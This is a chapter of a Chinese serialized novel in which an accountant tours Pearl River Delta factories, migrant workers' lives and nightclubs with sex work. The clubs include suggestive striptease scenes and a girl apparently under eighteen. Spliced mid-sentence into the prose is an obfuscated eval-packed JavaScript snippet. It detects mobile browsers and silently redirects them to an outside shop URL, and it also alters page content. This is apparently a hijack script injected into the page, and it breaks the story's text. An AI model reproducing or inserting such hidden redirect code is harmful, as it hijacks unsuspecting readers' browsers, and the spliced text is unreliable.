车行一小时，深圳的轮廓渐渐清晰。与广州的老城气息不同，这里的楼更高、更密集，玻璃幕墙在阳光下闪闪发光，像一座用镜片堆砌的城市。 “到了。”小吴说。 --- 三、森宝精密机械公司：暴利行业的秘密 森宝精密机械有限公司位于宝安三十七区。三层白色厂房在周边高楼映衬下有些矮，但蓝色玻璃幕墙擦得一尘不染，门口“精密机械”的招牌做得极其考究。 还未进门，先听见声音——不是机器的轰鸣，而是某种持续的低频震动，像大地深处的心跳。 “这里主要生产陶瓷模具。”柳长青边走边介绍，“国内高端制造用的陶瓷模具，百分之八十以上从德国进口。一套标准模具，德国报价二十多万人民币。” 王霖脚步顿了顿。二十多万，相当于矿区五十个工人一个月的工资总和。 走进车间，王霖看见了那个暴利行业的真相。 流水线如银色长蛇蜿蜒，但这里的流水线，比他在北方见过的任何工厂都干净、安静。工人们穿着淡蓝色防尘服，在恒温恒湿的环境里工作，每个人都戴着白手套，动作精准得像在手术室。 “陶瓷模具的直接成本——原材料、人工、能耗，加起来不超过五万。”柳长青轻声说，“但技术门槛极高。国内能做精密陶瓷模具的，算上森宝，不超过三家。” 他带着王霖走到一台正在加工的数控机床前。乳白色的陶瓷模具毛坯在机床上缓慢旋转，金刚石刀具以肉眼几乎看不见的速度切削着表面，发出细微的“嘶嘶”声。 “精度要求是0.001毫米，相当于头发丝的百分之一。”柳长青指着显示屏上的参数，“这套模具是给鹰牌陶瓷定制的，合同价二十二万。” 王霖蹲下身仔细观察。模具表面已经初现光泽，边缘处理得极其精细，每一个弧面都流畅自然。他想起在矿区时，最精密的工具也就是游标卡尺，精度0.02毫米就算高精度了。 “为什么这么贵？”他问。 “性能。”柳长青如数家珍，“耐磨性是钢铁的十倍，热稳定性好，不会像普通金属模具那样热胀冷缩影响精度。而且抛光后的产品，表面光洁度能提高两个等级。” 他拍了拍王霖的肩膀：“这就是我们要带回东海的东西。我已经想好了，公司名字就叫‘东海市新陶精密机械有限公司’，主打陶瓷模具。” 王霖的心跳加快了。他快速在心里计算：如果一套成本五万，卖二十万，卖十套就是两百万，毛利一百五十万。扣除税费、销售费用…… “但技术门槛很高。”柳长青看出他的心思，“不是有钱就能做的。我们需要德国的数控设备，需要懂材料的工程师、模具设计师、需要经过严格培训的工人。” 他领着王霖来到车间角落的白板前，上面画着详细的生产流程图：“从原料到加工成型，要经过七十二道工序。任何一道出问题，整套就报废。” 王霖突然明白柳长青为什么找他——这不只是需要财务，更需要一个能搭建管理体系、控制成本、培训员工的人。他在矿区那些混乱中积累的经验，在这里找到了用武之地。 --- 四、流水线上的青春 柳长青带着王霖走到一个女工身后。 她在安装微型电机的定位销，手指快得出现残影。工作台上贴着张便签，字迹娟秀：“阿芳，江西赣州，10月目标：弟学费1200，妈药费800，存500买裙子”。 “一天装三千六百个定位销，一个一分二厘。”柳长青轻声说，“在厂里五年了，从学徒干到师傅。手指得了腱鞘炎，晚上用热水泡，白天缠绷带继续干，能干，要强。” 像是听见了，阿芳转过头。很年轻，不会超过二十岁，眼睛很大却没什么神采。看见相机，她下意识侧身，耳后露出一小块蝴蝶状疤痕，像是烫伤留下的。她腼腆地笑了笑，又继续工作。 王霖按下快门。闪光灯没开，但阿芳还是眯了下眼，像被什么刺到了。 车间主任老陈跑来，递上两瓶冰镇矿泉水：“柳总，这批货要赶着出，日本客户催得紧。” “给调度室和质检部强调一下。” “好的好的我再说一声。”老陈赔笑，眼角皱纹深如刀刻。 王霖看着那些低垂的后颈——年轻或不再年轻的，都弯成相似的弧度。他忽然想起矿区，想起那些下井前深深弯下腰的矿工。原来无论南北，劳动的姿态如此相似，都是向生活低头的样子。 “工人都来自哪里？”王霖问。 “全国各地。”老陈扳着手指，“江西的多，四川湖南的也多，还有东北的、河南的。江西的大多懂陶瓷，但不懂机械；东北大多的懂机械，但不懂陶瓷。所以要培训，三个月到半年。” 柳长青补充道：“这也是我们回东海后要面对的。工人我会从全国招聘，但培训体系要我们自己建。” 王霖点点头，心里已经开始盘算培训成本、住宿安排、薪资结构。这些在矿区从未被认真对待的问题，在这里将成为决定企业生死的关键。 --- 五、城中村的晚餐与算盘声 傍晚，柳长青的朋友阿甘开车来接。是个湖南汉子，光头，脖子上挂条粗金链，开辆白色丰田霸道。 “走，带你们体验真正的南方生活！” 车往关外开。路渐窄，楼渐矮，城中村的景象渐渐浮现。巷子窄得仅容两人并行，抬头是“一线天”——两侧楼房的晾衣杆伸出来，工装、内衣、孩子的开裆裤如万国旗飘扬。地面湿滑，洗菜水混着油污在青石板上淌成细细的河流。 “这才是深圳的底色。”阿甘在前头带路，“三百万人住在这种地方。但就是这样地方，走出了无数老板。” 他们走进一家湘菜馆。老板娘四十出头，烫着大波浪，口红涂得鲜艳，见阿甘便笑：“甘老板好久不来！”转身朝后厨喊：“剁椒鱼头加辣！腊肉多放蒜！” 塑料桌布油渍斑驳，但菜很实在。坐下不久，隔壁桌来了群年轻人。听口音像四川，工服上印着“鑫发电子”。点菜时小心翼翼，四个人只要了两个荤菜，啤酒只敢要四瓶。 “刚发工资，”其中一个戴眼镜的小声说，“这个月加班多，拿了三千二。” “我寄了两千五回去，”另一个说，“爸的腿要动手术。” “还剩多少？” “七百。房租四百，剩下三百吃饭。” 他们开始算账：早餐馒头五毛，午餐厂里食堂六块，晚餐自己煮挂面加青菜，一块五。这样一天八块，一个月二百四。剩下六十块买牙膏肥皂。 王霖的筷子停在半空。他想起矿区——矿工们算的也是这种账：一天下井补贴二十，一个月满勤六百，寄回家五百，剩下一百买烟买酒。原来无论南北，穷人的算盘珠子拨响的声音都一样，都是生存的脆响。 菜上来了，剁椒鱼头红得刺眼。阿甘开了瓶白酒：“王会，别光看。南方就是这样——有人吃鱼头，有人啃馒头。都是命。” 柳长青接过话：“但命可以改。二十年前我来深圳，睡过荔枝公园的长椅。现在呢？”他指指窗外隐约可见的高楼轮廓，“那些楼里，有我的客户，也有我曾经的工友。” 正说着，老板娘端来一盘赠送的花生米，顺势坐下点烟：“听你们说话，是北方来的老板？” “我老家是河北秦皇岛，来这里考察。”柳长青说。 “考察好，考察好。”老板娘吐口烟圈，“我九二年来的，在流水线上焊电路板，眼睛差点焊瞎。后来摆摊，被城管追得满街跑。现在有这个店。”她弹弹烟灰，“我儿子在南山读私立学校，一年学费六万。你说，值不值？” 没人回答。后厨传来锅铲碰撞声，隔壁桌的年轻人开始划拳，笑声很大，大得像要把什么压下去。 王霖默默吃着，心里那团火却越烧越旺。他看见了机会，也看见了代价。而他要做的，是在这机会与代价之间，找出一条可行的路。 --- 六、夜色酒吧：欲望与眼泪 夜里十一点，阿甘说：“真正的夜生活刚开始。” 车开到罗湖一处巷子深处。“夜色酒吧”的霓虹招牌，闪着暧昧的粉紫色光。推门进去，瞬间，音浪混着香水味、烟味、酒精味扑面而来，像一头无形的兽将人吞噬。 舞台中央，三个女孩正跳钢管舞。亮片短裙在旋转灯光下，碎成无数光点，她们的身体柔韧得像没有骨头，高跟鞋在舞台地板上敲击出诱惑的节奏。大腿在灯光下泛着健康的光泽，腰肢扭动如蛇，每一个动作都经过精心设计，撩拨着空气，撩拨着台下男人们的神经。 王霖僵在门口。在北方，男女之情都藏在窗帘后、炕头上，含蓄得像深井里的水。就算在矿区最乱的时期，孙宝带人去“夜来香”，那些女郎陪喝酒、陪唱歌，搂搂抱抱，然后悄悄走进那些隐秘的房间。而这里，欲望被赤裸裸地悬挂在灯光下，明码标价，公开交易。 柳长青拍拍他的肩：“放松，只是看看。这也是南方的一部分。” 他们被领到卡座。黑啤泡沫丰盈，果盘雕成孔雀开屏的形状，西瓜切成薄如蝉翼的片。阿甘已经熟络地叫来两个女孩陪酒，很年轻，穿着改良的旗袍，开衩高到大腿根，坐下时白皙的腿露出来，在昏暗灯光下泛着象牙般的光泽。 “这是莉莉，这是芳芳。”阿甘一手搂一个，手自然地搭在女孩腰际，“都是湖南妹子，水灵吧？” 女孩们笑着，笑容挂在脸上，眼睛里却看不到笑意。莉莉给王霖倒酒，手指涂着鲜红的指甲油，故意碰到他的手背，冰凉。 “老板第一次来？”她问，口音软糯，带着湖南山区的尾音。 王霖点头，端起酒杯一饮而尽。酒精灼烧着喉咙，却压不住心里的躁动。他见过矿难后残缺的尸体，见过账本上肮脏的数字，但没见过这样直白的、被灯光照亮的欲望。这种欲望如此原始，又如此精致，像一件被打磨得光亮的商品。 舞台上换了节目。音乐变得舒缓，一个穿白色连衣裙的女孩走到台中央。她看起来很清纯，像大学生，头发扎成马尾，脸上带着羞涩的笑。音乐响起，是邓丽君的《甜蜜蜜》。 然后她开始跳舞。 不是钢管舞，更像是一种缓慢的、仪式般的自我展示。她的手指轻轻划过脖颈，滑过锁骨，滑过胸前，每一个动作都充满暗示。连衣裙的拉链在背部，她反手缓缓拉开，像花瓣绽放。里面是黑色的内衣，蕾丝花边在灯光下泛着细腻的光，托起年轻的□□，沟壑在阴影中若隐若现。 王霖的手心出汗了。他想移开视线，但眼睛像被钉住。周围的男人们安静下来，只有粗重的呼吸声和酒杯轻碰的声音。他看见前排一个中年男人喉结滚动，另一个年轻些的已经把手伸进了旁边陪酒女的裙底。 女孩继续跳，午夜时分，衣服一件一件褪下，一件一件抛向躁动的人群，像一只在阳光下蜕皮的禅，动作缓慢轻柔充满着仪式感。她转过身，背对观众，褪去最后一块布料，□□！灯光照亮她的背部曲线，正面隐在阴影里。但正是这阴影，比正面赤裸更加撩人——因为人们的想象总是比现实更加诱人。 柳长青忽然凑近，声音很轻，却清晰得像刀片划过玻璃：“这是艺术，也是生意。她们卖的不是身体，是男人的幻想。” 王霖没有说话。他一直盯着女孩的眼睛，突然发现有泪光一闪，是的，是泪花！很短暂，短到让人觉得是幻觉。——那不是表演，是泪花，在浓妆下几乎看不见的泪花。 表演结束了，女孩鞠躬下台，掌声如雷，夹杂着口哨和叫好声。阿甘拍着桌子喊：“再来一个！加钱！” 吧台边，有个中年男人，把手完全伸进了陪酒女的裙底，女孩笑着，身体却僵硬，眼睛望着天花板上的旋转灯球，眼神空洞如两口枯井。 王霖站起身：“我去去趟洗手间。” --- 走廊很暗，墙纸剥落，露出底下发霉的水泥。一个女孩蹲在墙角哭，妆花了，黑色眼线晕成两团，像被人打了两拳。是刚才台上跳舞的那个女孩。 听见脚步声，她慌忙抹脸，挤出笑容，但那笑容比哭还难看：“老板需要陪酒吗？” 王霖摇头，从口袋里掏出纸巾递过去。那是张莉塞进他包里的，印着碎花，带着北方阳光晒过的味道。 女孩愣了一下，接过，低声说了句谢谢。湖南口音，像王霖在矿区认识的一个湖南籍矿工。 “多大了？” “十九。”她顿了顿，补充道，“真的十九。” “为什么做这个？” 女孩笑了，笑容里有种与年龄不符的沧桑。她点了支烟，手在抖，打火机打了三次才点燃：“我弟弟在县城读高中，一年学费六千。我妈肾不好，一个月药费八百。我爸在建筑工地摔断了腰，包工头跑了。”她深深吸了口烟，烟雾从鼻孔缓缓溢出，“在电子厂，一个月拼死拼活两千，加班到凌晨也就两千五。在这里，一晚上运气好能挣一千，遇到大方的老板，也许更多。” 烟雾在昏暗的走廊里缭绕，形成诡异的图案。王霖想起矿区那些为了多挣二十块下井补贴，冒险去危险作业面的矿工。原来无论南北，当生存成为唯一命题时，尊严和身体都可以标价出售。 “叫什么名字？” “小梅。”她站起身，拍拍裙子，动作熟练得像做过无数次，“老板，我要去工作了。今晚还有两个包厢要去。”她顿了顿，声音忽然变得很轻，“谢谢你。你是第一个给我纸巾的客人。” 她转身走进包厢区，高跟鞋敲击地面的声音在走廊里回响，由近及远，最后被震耳的音乐吞没。王霖站在原地，看着她的背影消失。 回到卡座时，柳长青正和阿甘低声交谈。见王霖回来，柳长青举杯：“怎么样？开心不？” “她们……”王霖斟酌着词句，“都不容易。” “这世上谁容易？”阿甘大笑，金链子在灯光下晃动，“我当年睡天桥底下的时候，连哭的地方都没有。现在我有钱了，可以买她们的哭，买她们的笑，买她们的身体。”他灌了口酒，眼神变得锐利，“这就是公平——各取所需。她们需要钱，我们需要发泄。市场规律。” 王霖看着杯中深褐色的液体。他想说点什么，却又无从说起。在矿上，他见过孙宝用钱买通关系，买来平安；在这里，这些人用钱买来短暂的欢愉和慰藉。本质似乎没什么不同——都是用金钱交换某种需求，只是交易的内容不同罢了。 “但她们还是人。”王霖最终说。 “人？”阿甘嗤笑，“在流水线上，她们是劳动力；在这里，她们是消费品。王会，你别太天真。南方不相信眼泪，只相信钞票。” 柳长青摆摆手，示意阿甘适可而止。他转向王霖，语气温和但坚定：“王霖，你要记住今晚看到的。这不是猎奇，这是学习。学习这个真实的世界是怎么运转的。”他顿了顿，声音压得更低，“等我们回东海做企业，客户应酬、关系打点，都绕不开这些。到时候，你要学会在规则里生存，同时守住自己的底线。” “底线？”王霖问。 “对。”柳长青推了推眼镜，镜片后的目光锐利，“我的底线是——可以陪客户来这里，但绝不强迫员工来；可以花钱买笑，但绝不骗人说那是爱情；可以逢场作戏，但绝不当真。” 这话说得坦率，坦率到让王霖无法反驳。他忽然意识到，柳长青带他来这里，不是单纯为了享乐，而是一堂残酷的社会课——关于欲望，关于交易，关于在复杂的世界里如何保持清醒。 --- 第九章上 字数6905 《半生债》中卷第九章南方见识 （下） 七、凌晨两点的街道与伤痕 凌晨两点散场时，巷口蹲着等客的摩的司机。一个特别瘦的蹲在路灯下啃着馒头，就着矿泉水。馒头很干，他吃得很慢，每一口都要嚼很久。王霖走过去，递了根烟。 司机抬头，眼神警惕。看清不是警察，才接过烟，含糊道谢。贵州口音，像矿区里那些贵州籍矿工。 “这么晚还等？” “等里面散场的。”司机点燃烟，深深吸一口，烟雾从鼻孔缓缓溢出，“有些老板喝多了，给的小费大方，够拉三天活。” 王霖在他旁边蹲下。地面还有白天的余温，但夜风已经凉了。 “不想进厂？” “进过。”司机撸起袖子，小臂上有道蜈蚣状的疤，在路灯下泛着暗红色的光，“在模具厂，机器卷的。老板给了五百块，说是我自己操作不当。”他冷笑，露出被烟熏黄的牙齿，“流水线那么快，稍微走神就出事。现在我开摩的，再累，命是自己的。” 巷子里涌出醉醺醺的人群。几个男人搂着女孩出来，大声说笑，钻进路边的出租车。女孩们站在车外挥手，笑容职业，等车开走，笑容立刻消失。 司机站起身，拍拍裤子上的灰：“生意来了。” 摩的引擎轰鸣，尾灯在夜色中划出红色弧线，很快消失在巷口。王霖站在原地，看着那些女孩三三两两地往回走，有的在数小费，有的在补妆，有的只是沉默地走着，像一群夜归的幽灵。 他举起相机，拍下这个场景——凌晨两点的城中村巷口，霓虹灯已经熄灭了一半，只剩下“住宿”“快餐”的招牌还亮着。几个女孩的背影在昏黄的路灯下拉得很长，长得像是走不到尽头。 柳总走到他身边：“看够了吗？” “不够。”王霖收起相机，“但该看的都看到了。” “那就好。”柳总拍拍他的肩，“记住这些画面。等我们有了自己的工厂，要做得比这里好一点——哪怕只好一点点。” 这话很轻，但落在王霖心里却很重。他知道，在这个残酷的世界里，“好一点点”已经是最奢侈的承诺。 --- 八、中山邮政所：汇款的河流 接下来的日子，王霖跟着柳总穿梭在广州、佛山、深圳。他用了半个月时间，看见了南方的完整图景这里不仅仅是飞速发展的繁华，更是灯红酒绿下无数人的挣扎与沉浮。 在佛山陶瓷厂，他看见老工人用锤子敲碎次品瓷砖，每一锤都像敲在自己骨头上，碎瓷声清脆得像骨头断裂； 在虎门服装批发市场凌晨四点的开市时刻，他看见搬运工扛着比自己还高的包裹奔跑，汗水在地上滴成一条断断续续的线，在昏黄灯光下闪着光； 在东莞人才市场门口，他看见穿褪色西装的年轻人蹲在台阶上啃面包，简历被手汗浸得发软，边角卷起。 但他的相机，更多地对准了那些隐秘的角落。 在中山一处工业区邮政所，王霖看见了让他终生难忘的一幕。 那是周六下午，汇款窗口排起了长队。队伍缓慢移动，像一条疲惫的河流。排队的人有男有女，有老有少，但脸上都有相似的表情——焦虑，期待，还有深深的疲惫。 一个年轻母亲背着婴儿填单，孩子哭闹，她用肩膀轻轻颠着，手里的笔没停。汇往贵州某县，金额栏写着“2500”。附言只有两个字：“保重”。 旁边蹲着个中年男人，抱着头。他的汇款单被退回来——收款人姓名写错了，得重填。他盯着那张单子看了很久，突然扇了自己一耳光，很响。 “这些钱养活了半个中国。”柳总站在王霖身后，声音很轻，“广东每年流出的汇款，抵得上一个中等省份的财政收入。但这些钱是怎么挣来的，没人问。” 王霖连续按快门。他拍那些攥着汇款单的手——粗糙的、开裂的、贴着创可贴的、指甲缝里还有油污。这些手在北方挖煤，在这里拧螺丝，共同点是都在为某个遥远的地方输送养分。 他想起了小李——如果小李来了南方，会不会也站在这样的队伍里，往老家寄他那份下井补贴？会不会也为了省五块钱手续费，宁愿排两个小时的队？ “想起你矿上的工友了？”柳总问。 王霖点头。 “但他们比矿工强。”柳总说，“至少在这里，他们有机会改变命运。我认识好几个老板，都是打工仔出身。在北方，你见过挖煤的变成矿主吗？” 王霖没回答。他想起孙宝——那算改变命运吗？踩着别人的骨头爬上去，脖子上金链子越戴越粗？ 队伍还在缓慢移动。王霖看见一个女孩，很年轻，大概十八九岁，汇款单填得极其认真，一笔一划。她汇的金额不大，八百块，但附言写得很长：“妈，这月加班费，买件新衣服。我很好，勿念。” 女孩填完单，仔细检查了三遍，才小心翼翼地把单子和钱递进窗口。等拿到回执，她如释重负地笑了，笑容很干净，像山里的泉水。 但王霖看见，她转身离开时，手在微微发抖——那是长期重复一个动作留下的后遗症，他在森宝车间见过很多这样的手。 --- 九、临时夫妻：孤独的夜晚 在东莞一处工业村，他们见到了真正的“临时夫妻”。 那是栋老旧的出租楼，楼道里飘着劣质食用油和花椒的味道。三楼一间不到十平米的单间里，住着一对“搭档”——男的是江西来的木工，女的是四川来的缝纫工，各自的配偶都在老家带孩子。 房间很小，一张双人床占了大半空间，床单是廉价的大红色，已经洗得发白。墙上贴着明星海报和孩子的照片——两张不同的全家福，并列贴在一起，形成诡异的对比。一张是男人和妻子、两个孩子，背景是江西老家的土屋；另一张是女人和丈夫、一个女儿，背景是四川的竹林。 “搭伙过日子，”女人炒菜时头也不抬，锅里是土豆丝和几片肥肉，“省房租，省饭钱，夜里也有个说话的人。”她的普通话很蹩脚，带着浓重的四川口音。 男人蹲在门口抽烟，脚边放着半瓶廉价白酒。见王霖举相机，他猛地别过脸：“别拍。” 柳总递了根好烟过去，男人接了，放在鼻子下闻了闻，没舍得抽，夹在耳朵上。“去年我老婆来了趟，”他忽然开口，声音沙哑，“住了三天就走了。她说理解，可我知道她眼睛里的东西。”他顿了顿，狠狠吸了口手里的廉价烟，“我们这种人不算人，就是会干活的牲口。白天是机器，晚上……晚上连机器都不如。” 女人把菜端上桌，很简单的两个菜：土豆丝和炒青菜。她盛了两碗饭，一碗给男人，一碗给自己。两人默默吃着，偶尔夹菜给对方，动作自然得像多年的夫妻。 王霖退出房间时，回头看了一眼。昏黄的灯光下，两人对坐着吃饭，影子投在斑驳的墙上，重叠在一起，分不清谁是谁。 下楼时，柳总轻声说：“这样的‘临时家庭’，在珠三角至少有几十万个。有的是为了省钱，有的是为了生理需求，有的是……只是为了晚上有人说说话，证明自己还活着。” 王霖没说话。他想起在矿区，那些常年不能回家的矿工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196360|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也会在工棚里讲荤段子，也会攒钱去镇上找“相好的”。原来人类的孤独和欲望如此相似，无论身在何处。 那晚回到酒店，王霖翻看白天拍的照片。屏幕的光映在他脸上，一张张脸孔滑过：流水线上麻木的，酒吧里强颜欢笑的，出租屋里沉默的，汇款所前疲惫的。他想起矿区那些煤黑色的脸。。。。。。 ——原来无论南北，在时代的齿轮下，人都薄得像张纸，随时可能被碾碎。 他特别放大了那张“临时夫妻”房间的照片。墙上的两张全家福，一张是男人和妻子、两个孩子，背景是江西老家的土屋；另一张是女人和丈夫、一个女儿，背景是四川的竹林。两张照片里的人都笑得很开心，不知道千里之外，自己的配偶正和别人组成临时的家。 王霖忽然感到一阵窒息。他走到窗前，推开窗户。南方的夜风温热潮湿，带着远处工厂排污水的腥味。楼下街道上，还有晚归的打工者骑着自行车匆匆而过，车篮里放着饭盒和安全帽。 这个世界如此庞大，又如此渺小；如此繁华，又如此荒凉。 --- 十、高端会所：精致的欲望 第二个周末，阿甘带他们去了一家更隐蔽的会所。 在福田一栋豪华写字楼的顶层，外面看是正经的贸易公司，玻璃门上贴着“国际商务中心”的金字。保安严密，需要预约密码才能进入电梯。 推门进去，却是另一个世界。大厅装修得像宫殿，水晶吊灯璀璨夺目，大理石地面光可鉴人。陪酒的女孩都穿着精致的礼服，化着淡妆，谈吐优雅，像是写字楼里的白领。 “这里是高端场所，”阿甘低声说，“来的都是老板、官员、港商。消费最低五千起。” 他们被领进一个包厢。很大，有独立的舞台和舞池，音响设备专业。陪酒的女孩叫“公关”，不叫“小姐”。她们会和你聊经济、聊艺术、聊时事，然后再慢慢引导到别的方向。 那晚的表演更加精致，也更加露骨。女孩们在台上模拟各种场景——办公室、会议室、飞机头等舱。服装从职业套装到空姐制服，动作设计充满想象力。台下的男人们不再大声喧哗，而是低声交谈，偶尔举杯，但眼睛里的欲望更加赤裸。 王霖坐在角落的沙发上，一杯接一杯地喝着红酒。酒精让他麻木，也让他清醒。他看见一个女孩在表演间隙偷偷抹眼泪——不是用手，而是用纸巾轻轻按压眼角，怕弄花妆容；看见另一个女孩大腿内侧有新鲜的瘀青，粉底都盖不住；看见第三个女孩手腕上缠着透明的绷带，但跳舞时笑得最灿烂，像是要把所有的光都释放出来。 柳总坐过来：“在想什么？” “我在想，”王霖晃着酒杯，看着杯中深红色的液体旋转，“城市的繁华，农村的日渐荒芜和那些留守老人和孩子” 这话说得很轻，但柳总听清了。他沉默了很久，才说：“所以我们要成功，要有钱，要有权。只有这样，才能保护我们想保护的人。” “用钱保护？” “用钱，用地位，用影响力。”柳总看向舞台上那些年轻的身体，“这个世界很残酷，王霖。要么你成为规则的制定者，要么你遵守别人制定的规则。没有第三条路。” 表演进入高潮。音乐变得激昂，女孩们开始脱去最后的束缚。灯光巧妙地打在他们身上，勾勒出青春的曲线。台下，一个港商模样的中年男人已经按捺不住，招手叫来一个女孩，在她耳边低语，然后两人相拥着走出包厢。 王霖看着他们离开的背影，忽然想起小梅，想起那个在走廊里哭的女孩。她现在在哪里？是不是也在某个包厢里，对着某个男人强颜欢笑？ 他站起身，再次走向洗手间。 这次他在走廊里遇见的是另一个女孩。她很年轻，不会超过十八岁，穿着空姐制服，蹲在墙角呕吐。吐出来的都是酒，混杂着胃酸的气味。 王霖递过纸巾和水。女孩抬头，眼睛很大，很清澈，像山里的泉水。“谢谢。”她说，声音很轻。 “不能喝就别喝了。” 女孩苦笑：“不喝就没钱。我妈癌症，化疗一次三千。我爸跑了。”她站起身，整理制服，动作稚嫩，还不习惯高跟鞋的高度，“我得去工作了。客人还在等。” 她走了几步，又回头：“你是好人。但好人在这里活不下去。” 这句话像根针，扎进王霖心里。他站在昏暗的走廊里，听着包厢里传来的音乐声和笑声，忽然感到一种深深的无力。 好人在这里活不下去。 那么在哪里能活下去？在矿区吗？在那里，好人一样活不下去——刘铁柱死了，只值五百块；他想主持公道，就要被人堵在山坳里围殴。 --- 十一、最后的谈判：合同与未来 在深圳的最后一晚，柳总带他登上地王大厦顶层的旋转餐厅。 电梯上升时耳膜刺痛，玻璃窗外，深圳的灯火一片片铺展开来，璀璨得不像人间。从这个高度看下去，那些厂房、城中村、流水线都变得渺小，只剩下璀璨的灯火，像一条用钻石铺就的河流。 侍者领他们到窗边位置。菜单是皮面的，烫金中英文。柳总点了红酒和牛排，对王霖说：“来，我们干一杯。算是庆祝你看清了南方。” “看清了什么？”王霖问。 “看清了真实的世界。”柳总晃着红酒杯，看着杯中液体在灯光下泛着宝石般的光泽，“不是你在财经课本里学的那个，是血淋淋的、有温度也有残酷的那个世界。” 牛排上来了，三分熟，切开时渗出血水，像某种生命的象征。王霖想起白天在肉联厂看到的场景——生猪被赶进流水线，电击、放血、分割，最后变成包装精美的肉块，出现在这样的餐厅里，被优雅地切开、咀嚼、吞咽。 “柳总，”他放下刀叉，“你说要带我一起干。具体怎么干？” 柳总眼睛亮了。他放下酒杯，从公文包里取出一份厚厚的合同草案，封面上写着“东海市新陶精密机械有限公司合资协议（草案）”。 “这是我这几个月准备的。”柳总翻开合同，推到王霖面前，“我占股百分之八十，你占百分之二十。你不需要出钱，但需要出人、出力、出时间。前三年，我们都不拿工资，所有利润再投资。” 王霖快速浏览条款。合同写得很详细，从股权结构到决策机制，从利润分配到退出条款，甚至包括技术保密和竞业禁止。柳总显然已经思考了很久，每一个细节都考虑到了。 “为什么给我这么多？”王霖问。百分之二十的干股，在这个暴利行业简直是天文数字。 “因为我知道，这个事业需要更多的人才能做成。”柳总认真地看着他，“我懂技术、懂市场，但你懂管理、懂人。而且，”他顿了顿，声音变得诚恳，“我需要一个能在我头脑发热时泼冷水的人。需要一个在看见工人手指流血时，会想给他们买手套的人。” 王霖想起在栖霞山初遇时，柳总说的“一个主内一个主外”。原来那时候，他就已经想好了这一切。 “我需要时间考虑。”王霖说。 “当然。”柳总合上合同，“这趟回去，你有半年时间。看资料，学技术，也想清楚。但半年后，我要你的答案。” 他把合同复印件和几本书递给王霖：“《精密机械原理》《德国工业4.0》《中小企业财务管理》。先看这些。半年后，我要考你。” 书很厚，王霖接过来时，心里却莫名的踏实。他知道该学什么了，知道路在哪里了。 “还有，”柳总补充道，指着窗外那些高楼，“等我们做成了，也要在这样的高楼里设办公室。让所有人都看见，我们做到了。” 王霖看向窗外。深圳的夜景璀璨如星河，每一盏灯下，都有人在为生存奔忙，也有人在为梦想奋斗。而他，即将加入这个行列。 “好。”他说。 这次说“好”，比在栖霞山时坚定得多。 --- 十二、归途：改变的开始 飞机回程那日，广州下起小雨。 雨水打在机场巨大的玻璃幕墙上，蜿蜒而下，像无数道泪痕。候机时，王霖翻看这半个月拍的两千多张照片。最后他停在一张上：夜色酒吧走廊，小梅蹲着哭的那个瞬间。阴影里，她的侧脸像幅油画，光与影的交界处，泪痕清晰可见。她的手里还攥着他给的那张印着小碎花的纸巾。 他想起小梅说的：“你是好人。但好人在这里活不下去。” 也想起柳总说的：“要么你成为规则的制定者，要么你遵守别人制定的规则。” 还想起阿甘说的：“这就是公平——各取所需。” 这些声音在他脑海里交织、碰撞，最后沉淀成一个模糊但坚定的念头：他要回去，要跟着柳总干，要成功，要有钱有权。不是为了奢华的生活，而是为了有资格说“不”，有力量保护想保护的人，有能力在规则里划出自己的底线。 也许这很天真，也许这最终会变成自我安慰的借口。但此刻，他需要这个念头，需要这个理由，支撑他走接下来的路。 登机广播响起时，柳总拍拍他的肩：“记住，这趟不只是看南方，是看未来的自己。” 飞机冲破云层，北方灰蓝的天空渐渐清晰。王霖靠在舷窗上，手摸着相机和那几本厚厚的书。书角硌着手心，有点疼，但疼得真实，疼得踏实。 他闭上眼睛，开始想象半年后的场景。在东海某栋高楼的办公室里，他坐在电脑前处理财务报表，柳总在外面跑客户。窗外是这个北方城市的天际线，也许不如深圳璀璨，但那是他们自己的江山。他们会建自己的工厂，招自己的工人，定自己的规矩——也许不能改变世界，但也许可以在自己的小天地里，做得好一点。 机轮触地的震动传来时，王霖睁开了眼睛。空乘广播响起：“各位旅客，飞机已降落在东海机场，地面温度摄氏十一度……” 他系好安全带，握紧了那几本书。书角硌着手心，有点疼，但疼得真实，疼得踏实。 走出机舱，北方干冷的空气扑面而来，带着熟悉的煤烟味和尘土味。王霖深吸一口气，忽然笑了——不是开心的笑，而是一种释然的笑。 他知道，有什么东西已经永远改变了。就像相机底片曝光的那一刻——光与影一旦交汇，影像就再也无法抹去。南方已经烙印在他的记忆里，那些灯火、那些泪水、那些在生存线上挣扎的身影，都将伴随他走接下来的路。 远处，张莉站在接机的人群里，穿着一件米白色的风衣，在灰扑扑的人群里像朵干净的云。她看见他，没挥手，没说话，只是静静地等，眼神里有担忧，有关切，也有某种说不清的疏离。 王霖快步走过去。相机包在肩上沉甸甸的，书在手里沉甸甸的，心里装着的南方见闻，更是沉甸甸的，压得他几乎喘不过气。 “回来了。”张莉说，声音很轻。 “嗯。”他点头，“回来了。” 但两人都知道，这个回来的人，已经不是离开时的那个了。南方的风已经吹进他心里，带着灼热的气息，也带着沉重的真相；带着遍地黄金的诱惑，也带着血泪交织的代价。 他拥抱了张莉，很用力，像是要从她身上汲取某种力量。张莉的身体僵了一下，然后慢慢放松，手轻轻拍着他的背。 “累了？”她问。 “嗯。”他把头埋在她肩头，闻着她身上熟悉的雪花膏香味，“看到很多，学到很多。” “那就好。”张莉说，没再问别的。 走出机场，北方的天空是铅灰色的，像是要下雪。王霖回头看了一眼起降的飞机，忽然想起柳总在飞机上说的话：“你看那些烟囱，每一根都在日夜不停地吐着钞票。” 现在他明白了，那些钞票上，沾着汗，沾着泪，也许还沾着血。 而他，即将加入这个吐钞票的行列。 车开上回市区的路，张莉忽然问：“相机好用吗？” “好用。”王霖说，想起拍下的那些照片，“拍了很多。” “那就好。”张莉看着窗外飞速倒退的街景，沉默了一会儿，又说，“不管看到什么，记得回家的路。” 王霖握住她的手。她的手很凉，像那天在机场递给他相机时一样。 “记得。”他说。 但心里知道，有些路，一旦走上去了，就再也回不到最初的起点。 